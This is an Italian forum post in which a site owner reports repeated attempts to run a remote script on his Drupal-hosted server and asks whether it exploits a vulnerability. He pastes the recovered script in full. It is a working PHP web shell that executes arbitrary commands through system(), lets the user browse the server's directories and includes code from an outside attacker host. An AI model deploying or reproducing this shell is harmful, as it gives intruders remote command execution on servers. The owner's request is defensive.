Mi stanno attaccando il sito da più parti del mondo cercando di eseguire questo script sul server che mi ospita: http://tinypath.com/sdy/test/iso.txt
Ecco il contenuto della pagina o almeno quello che sono riuscito a scoprire. A qualcuno dice qualcosa? Stanno cercando di sfruttare qualche vulnerabilità (o presunta tale) di drupal?
Attendo commenti! grazie in anticipo.
<html>
<head>
<title>PHP</title>
</head>
<body>
<h1>PHP</h1>
<?php
if (ini_get('register_globals') != '1') {
/* We'll register the variables as globals: */
if (!empty($HTTP_POST_VARS))
extract($HTTP_POST_VARS);
if (!empty($HTTP_GET_VARS))
extract($HTTP_GET_VARS);
if (!empty($HTTP_SERVER_VARS))
extract($HTTP_SERVER_VARS);
}
/* First we check if there has been asked for a working directory. */
if (!empty($work_dir)) {
/* A workdir has been asked for */
if (!empty($command)) {
if (ereg('ˆ[[:blank:]]*cd[[:blank:]]+([ˆ;]+)$', $command, $regs)) {
/* We try and match a cd command. */
if ($regs[1][0] == '/') {
$new_dir = $regs[1]; // 'cd /something/...'
} else {
$new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...'
}
if (file_exists($new_dir) && is_dir($new_dir)) {
$work_dir = $new_dir;
}
unset($command);
}
}
}
if (file_exists($work_dir) && is_dir($work_dir)) {
/* We change directory to that dir: */
chdir($work_dir);
}
/* We now update $work_dir to avoid things like '/foo/../bar': */
$work_dir = exec('pwd');
?>
<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">
<p>Current working directory: <b>
<?php
$work_dir_splitted = explode('/', substr($work_dir, 1));
echo '<a href="' . $PHP_SELF . '?work_dir=/">Root</a>/';
if (!empty($work_dir_splitted[0])) {
$path = '';
for ($i = 0; $i < count($work_dir_splitted); $i++) {
$path .= '/' . $work_dir_splitted[$i];
printf('<a href="%s?work_dir=%s">%s</a>/',
$PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
}
}
?></b></p>
<p>Choose new working directory:
<select name="work_dir" onChange="this.form.submit()">
<?php
/* Now we make a list of the directories. */
$dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */
while ($dir = readdir($dir_handle)) {
if (is_dir($dir)) {
if ($dir == '.') {
echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
} elseif ($dir == '..') {
/* We have found the parent dir. We must be carefull if the parent
directory is the root directory (/). */
if (strlen($work_dir) == 1) {
/* work_dir is only 1 charecter - it can only be / There's no
parent directory then. */
} elseif (strrpos($work_dir, '/') == 0) {
/* The last / in work_dir were the first charecter.
This means that we have a top-level directory
eg. /bin or /home etc... */
echo "<option value=\"/\">Parent Directory</option>\n";
} else {
/* We do a little bit of string-manipulation to find the parent
directory... Trust me - it works :-) */
echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
}
} else {
if ($work_dir == '/') {
echo "<option value=\"$work_dir$dir\">$dir</option>\n";
} else {
echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
}
}
}
}
closedir($dir_handle);
?>
</select></p>
<?php include 'http://www.tinypath.com/sdy/test/w3.gif'; ?>
<p>Command: <input type="text" name="command" size="60">
<input name="submit_btn" type="submit" value="Execute Command"></p>
<p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p>
<textarea cols="80" rows="20" readonly>
<?php
if (!empty($command)) {
if ($stderr) {
$tmpfile = tempnam('/tmp', '.sess_u89f3jfajda92ka921kafg434g');
$command .= " 1> $tmpfile 2>&1; " .
"cat $tmpfile; rm $tmpfile";
} else if ($command == 'ls') {
/* ls looks much better with ' -F', IMHO. */
$command .= ' -F';
}
system($command);
}
?>
</textarea>
</form>
<script language="JavaScript" type="text/javascript">
document.forms[0].command.focus();
</script>
<hr>
</body>
</html>